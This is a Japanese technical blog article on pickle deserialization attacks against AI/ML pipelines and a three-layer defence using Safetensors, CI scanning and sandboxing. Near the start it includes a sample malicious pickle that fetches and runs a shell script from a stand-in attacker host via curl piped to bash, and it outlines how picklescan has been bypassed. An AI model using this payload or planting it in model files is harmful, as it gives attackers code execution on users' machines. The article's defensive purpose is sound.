Hugging Faceで公開されている学習済みモデルをダウンロードし、torch.load()やjoblib.load()でロードした瞬間に、攻撃者のシェルが起動する——。これはフィクションではなく、2025年2月にReverse Engineering Labsが報告した実在の攻撃事例です。マルウェア入りモデルがHugging Face上の検出機構(picklescan)をバイパスし、ダウンロードしたユーザーのマシンでリバースシェルを実行していました。
AIエージェント時代に入り、モデルファイル・ベクトルDBキャッシュ・エージェントのセッション保存ファイルなど、「ロードするだけで危険な」バイナリをパイプラインに取り込む機会が爆発的に増えています。古典的なPythonの「逆シリアライゼーション攻撃(Insecure Deserialization)」が、AI開発現場で最大級の脅威として再燃しているのが2026年の現状です。
本記事では、この攻撃の仕組み、現実に確認されている事例、そしてSafetensors移行・CI/CDスキャン・サンドボックス分離による防御設計を、実装コマンドレベルまで踏み込んで解説します。
そもそも「逆シリアライゼーション攻撃」とは何か
シリアライゼーションの基本
シリアライゼーションとは、Pythonのオブジェクト(モデルの重み、辞書、クラスインスタンスなど)をファイルやネットワーク経由で保存・送信できる「バイト列」に変換する処理です。逆シリアライゼーションはその逆、バイト列から元のオブジェクトを復元する処理です。
Pythonの標準モジュールpickleは、このシリアライゼーションを極めて柔軟に行えるため、PyTorch、scikit-learn、joblibなど多くのMLライブラリで内部的に使われています。
pickleの致命的な仕様
pickleの問題は、単に「データ」を保存するのではなく、「任意のPythonオブジェクトを再構築するための命令列」を保存する点にあります。つまり、ロード時にPythonコードが実行されることが仕様として組み込まれています。
以下は攻撃者が作成する典型的なエクスプロイトpickleです。
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("curl http://attacker.example/payload.sh | bash",))
with open("innocent_model.bin", "wb") as f:
pickle.dump(RCE(), f)
このファイルを受け取ったユーザーがpickle.load()(またはtorch.load())を実行した瞬間、__reduce__メソッドが呼び出され、任意のシェルコマンドが実行されます。モデルの「中身」には悪意がなくても、「ロードする行為そのもの」が攻撃ベクタになるのです。
なぜ今、AI開発現場で再燃しているのか
Hugging Faceモデルの約45%が依然としてpickle形式
2025年のPickleBall研究(arXiv:2508.15987)によれば、Hugging Face上の月間1,000ダウンロード以上のリポジトリのうち約44.9%が依然としてpickle形式(.bin、.pt、.pkl)を含んでいます。さらに21%はpickle形式のみで提供されており、Meta、Google、Microsoft、NVIDIA、Intelといった大手が提供するモデルの中にも500以上のpickle専用モデルが存在します。
Hugging Face自身が2022年からSafetensors形式への移行を推奨していますが、既存資産の互換性・慣性により、pickleの使用は完全には排除されていません。
検知ツール自体のバイパス事例が多発
Hugging Faceはpicklescanという検知ツールを運用していますが、このツール自体のバイパス脆弱性が2025年に複数報告されました。
| CVE | 内容 | 影響 |
|---|---|---|
| CVE-2025-1716 | pipインストール経由の間接RCE | ロード時にpip installが走り、悪意あるパッケージをフェッチ |
| CVE-2025-1945 | ZIPフラグビット操作で検知回避 | picklescanは素通り、torch.load()は正常にロードし実行 |
| 2025年2月報告 | 「壊れたpickle」でパーサーをクラッシュ | picklescanがエラー終了、ロード処理は継続 |
| 2025年9月修正 | picklescan 0.0.31で3件のゼロデイ修正 | JFrogが報告した追加バイパス手法 |
重要なのは、「Hugging Faceが安全マークを付けていても安全とは限らない」という事実です。検知ツールは常に後追いであり、新しいバイパス手法が継続的に発見されています。
AI時代特有の新しい攻撃面
従来のpickle問題はWebアプリのセッションファイル等が中心でしたが、AI開発では新しい攻撃ベクタが加わっています。
- transformersの
trust_remote_code=True:モデルリポジトリ内の任意のPythonコードを自動実行する - LangChainのメモリダンプ:会話履歴・エージェント状態をpickleで保存
- ベクトルDBキャッシュ:FAISS・Chromaの一部機能でpickle使用
- Claude Code等のセッション保存ファイル:エージェント状態の永続化
- joblib:scikit-learnのモデル保存で広く使われ、内部はpickle
これらのファイルが共有ストレージ・Gitリポジトリ・CIアーティファクトに紛れ込むと、ロードする側がRCEを受けるという構図になります。
既存のセキュリティ記事との違い——「どのレイヤー」の問題か
本サイトでは以前、以下の関連記事を公開しました。本記事はそれらとは「別のレイヤー」の問題を扱います。
| 記事 | 扱うレイヤー | 問い |
|---|---|---|
| バックドア・モデル検知 | モデルの学習中の重み | 「中身が何をするか」 |
| AIサプライチェーン攻撃 | パッケージ・スキルの流通経路 | 「何が入ってくるか」 |
| AI設定ファイル攻撃 | 宣言的設定ファイルの悪用 | 「設定が何を許可するか」 |
| 本記事(逆シリアライゼーション攻撃) | バイナリのロード処理 | 「ロードする行為自体が危険」 |
つまり、モデルの重み自体がクリーンでも、配布者が信頼できても、pickleで包装された瞬間にロードは「任意コード実行」と同義になります。ここが本記事の差別化ポイントです。
防御設計——3層ディフェンス
完璧な検知ツールは存在しません。したがって防御は「そもそも危険な形式を使わない」「どうしても使うなら事前スキャン」「最後の砦としてサンドボックス」の3層で構成します。
第1層:Safetensors移行(根本対策)
Safetensorsは、Hugging Face・EleutherAI・Stability AIが共同開発し、Trail of Bitsによる外部監査を受けた安全なシリアライゼーション形式です。設計上、任意コード実行が不可能で、テンソルの数値データとメタデータのみを格納します。
2026年4月にはHugging FaceがSafetensorsをPyTorch Foundation(Linux Foundation傘下)に寄贈し、エコシステム全体の標準形式として位置づけられました。
既存pickleモデルのSafetensors変換例:
from transformers import AutoModel
from safetensors.torch import save_file
# 信頼できるソースからロード(初回のみpickleを使用)
model = AutoModel.from_pretrained("bert-base-uncased")
state_dict = model.state_dict()
# Safetensors形式で保存
save_file(state_dict, "bert-base-uncased.safetensors")
# 以降は安全なロードのみ
from safetensors.torch import load_file
weights = load_file("bert-base-uncased.safetensors")
社内ポリシーとして、「pickleモデルは変換担当者のサンドボックスでのみロード、本番・開発環境ではSafetensorsのみ許可」というルールが現実的です。
第2層:CI/CDでの事前スキャン
どうしてもpickle形式を扱う必要がある場合は、ロード前に複数のスキャナを組み合わせます。単一ツールはバイパスされる前提で設計します。
主なスキャンツール:
| ツール | 検出手法 | 備考 |
|---|---|---|
| picklescan | opcode解析・import blacklist | バイパス事例あり。最新版(0.0.31以降)を使用 |
| ModelScan(ProtectAI) | pickle・H5・SavedModelを対象 | 複数形式対応で多層防御に有効 |
| ClamAV | 既知マルウェアシグネチャ | pickle固有の脅威はカバー不可、補助的に併用 |
| fickling | pickle静的解析・デコンパイル | Trail of Bits製、詳細解析向け |
GitHub Actionsでのスキャン例:
name: Model Security Scan
on:
pull_request:
paths:
- 'models/**'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install scanners
run: |
pip install picklescan modelscan fickling
- name: Run picklescan
run: picklescan --path models/ --verbose
- name: Run ModelScan
run: modelscan -p models/
- name: Fail on any unsafe finding
run: |
if [ $? -ne 0 ]; then
echo "::error::Unsafe deserialization detected"
exit 1
fi
重要なのは「スキャンが失敗(エラー終了)した場合も、不合格扱いにする」ことです。picklescanのクラッシュを利用する攻撃が実在するため、「エラー=安全」と誤解しない設計が必要です。
第3層:サンドボックス分離
スキャンを通過した場合でも、未知のバイパス手法を想定してロード処理自体を分離します。ゼロデイに対する最後の砦です。
選択肢:
- Docker(rootlessモード):ネットワーク遮断・ファイルシステム読み取り専用・Linuxケーパビリティ最小化
- Firejail:軽量なLinuxサンドボックス、個別プロセス単位で制限
- Bubblewrap(bwrap):Flatpakが使用する低レベルサンドボックス、最もカスタマイズ性が高い
- gVisor・Kata Containers:カーネル分離レベルの強度が必要な本番環境向け
Dockerでの変換処理サンドボックス例:
docker run --rm \
--network none \
--read-only \
--tmpfs /tmp \
--cap-drop ALL \
--security-opt no-new-privileges \
-v "$(pwd)/models:/models:ro" \
-v "$(pwd)/output:/output" \
python:3.12-slim \
python /scripts/convert_to_safetensors.py
ネットワーク遮断(--network none)により、万が一ロード中にRCEが発動しても、攻撃者がコールバックを受け取ることができません。ファイルシステムも読み取り専用+最小限の書き込み領域に限定します。
AIエージェント固有の追加対策
trust_remote_code=Trueを無効化する
transformersライブラリのAutoModel.from_pretrained()でtrust_remote_code=Trueを指定すると、モデルリポジトリ内の任意のPythonコードが自動実行されます。これはpickleよりもさらに露骨なRCEベクタです。
社内ガイドラインでは以下のルールを明文化することを推奨します。
- 本番環境では
trust_remote_code=Trueを原則禁止 - やむを得ず使う場合は、コミットハッシュ固定+コードレビュー必須
- lintルールでコード内の使用を検出
エージェントのセッション・メモリファイルを保護
LangChain、AutoGen、Claude Code、その他のエージェントフレームワークは、会話履歴や中間状態をファイルに保存します。これらがpickleベースの場合、次に読み込むエージェントは前回の状態ファイルから攻撃を受けます。
- エージェントの状態保存は、可能な限りJSONまたはJSONLに変更する
- pickle必須の場合は、状態ファイルを署名付きで保存・検証する
- 共有ファイルシステム経由で状態ファイルを受け渡さない(S3 + IAMロール等で権限分離)
ベクトルDBのキャッシュ形式を確認
FAISS、Chroma、LangChainのVectorStore.save_local()等の一部はpickle形式を使用します。自社で管理するDBであっても、バックアップの取り扱い・他テナントとの共有ストレージ使用時には注意が必要です。
実務チェックリスト——10項目
自社のAIパイプラインが逆シリアライゼーション攻撃に対して防御できているかを確認する10項目です。
- 本番環境で使用するモデルは、原則Safetensors形式に限定している
- pickle形式のモデルを扱う場合、変換処理はサンドボックス内で実行している
- CI/CDに
picklescanまたはModelScanを組み込んでいる - スキャンツールがクラッシュした場合も不合格扱いになっている
- 使用しているpicklescanは最新版(0.0.31以降)である
trust_remote_code=Trueの使用を原則禁止している- エージェントの状態保存はJSON形式を優先している
- 使用するベクトルDBのシリアライゼーション形式を把握している
- モデルダウンロード元を信頼済みリポジトリにホワイトリスト化している
- モデルファイルの署名検証(コミット署名・ハッシュ検証)を運用している
10項目中、7項目以上が満たされていない場合は至急対策を検討することを推奨します。特に項目1・2・6は、満たされていない場合に「いつ被害を受けてもおかしくない」状態です。
よくある質問(Q&A)
Q1. Hugging Faceで「Safe」マークが付いているモデルは安全ですか?
現在のpicklescanの検出能力に基づく「その時点での」評価であり、絶対的な安全保証ではありません。2025年には複数のバイパス手法が報告されました。「Safe」表示は参考情報として扱い、本番利用するモデルは可能な限りSafetensors形式を選び、pickleが必須ならサンドボックスでロードすることを推奨します。
Q2. joblibはpickleより安全ですか?
内部的にpickleを使用しているため、セキュリティ特性は同じです。joblibは大きなNumPy配列の効率的な保存に最適化されているだけで、任意コード実行のリスクは変わりません。scikit-learnのモデル保存でも同様の注意が必要です。
Q3. 自社で作ったpickleファイルは安全ですか?
作成時点では安全でも、保存先ストレージへの侵入・CIパイプラインの改ざん・Git履歴の書き換えなどで攻撃ファイルに置き換わるリスクがあります。自社製でも「ロード=コード実行」である事実は変わらないため、可能な限りSafetensors・JSON等の安全な形式への移行が望ましいです。
Q4. ONNX形式は安全ですか?
ONNXは構造化された計算グラフ形式で、pickleのような「任意コード実行」は基本的にありません。ただし、TensorFlow SavedModelやONNXでも、カスタムオペレータを介した攻撃手法が研究レベルでは報告されています。Safetensorsと比較すると表現力が高い分、攻撃面も広いため、数値重みのみで十分な場合はSafetensorsを第一選択にすることを推奨します。
Q5. すでにpickleでモデル資産が大量にあります。どう移行すべきですか?
段階的移行が現実的です。(1) 新規モデルは最初からSafetensorsで保存、(2) 本番投入するモデルのみ、サンドボックス内でSafetensorsに変換、(3) 変換時はスキャン+ネットワーク遮断された環境で実行、(4) 変換後はSafetensorsのみを配布・利用、(5) 旧pickleファイルはアーカイブ化し、通常ワークフローからは隔離——という順序です。一度に全移行する必要はなく、重要度の高いモデルから始めれば十分です。
まとめ——「ロードする行為」を信頼の境界にする
AIエージェント時代のセキュリティは、「中身が悪意を持っているか」だけでなく、「ロードする行為そのものが信頼境界を越えるか」を意識する必要があります。pickle・joblibによる逆シリアライゼーション攻撃は、古典的な問題でありながら、AI開発のあらゆる段階——モデル配布、キャッシュ、エージェント状態、CI/CD——に潜在しています。
対策の優先順位は明確です。
- Safetensorsへの移行——これが最も強力な根本対策
- CI/CDでの多層スキャン——単一ツールに依存しない
- サンドボックス分離——ゼロデイに対する最後の砦
本記事で紹介したコマンド・CI設定はすべて、既存のAIパイプラインに段階的に組み込めるものです。まずは自社で最も頻繁にロードされるモデルを特定し、Safetensors化の可否を調査することから始めてみてください。
参考リンク
- Hugging Face: Pickle Scanning
- Hugging Face: Safetensors audited as really safe
- Safetensors公式リポジトリ
- ModelScan (ProtectAI)
- fickling (Trail of Bits)
- Sonatype: Bypassing picklescan(CVE-2025-1716, 1945他)
- JFrog: 3 Zero-Day PickleScan Vulnerabilities
- PickleBall: Secure Deserialization of Pickle-based ML Models (arXiv 2508.15987)
関連記事:
免責事項:本記事は2026年4月時点の公開情報に基づく技術情報の提供です。具体的な脆弱性対応・セキュリティ監査については、社内のセキュリティ担当者または専門機関にご相談ください。CVE情報・ツールの最新バージョンは各公式ソースでご確認ください。

コメント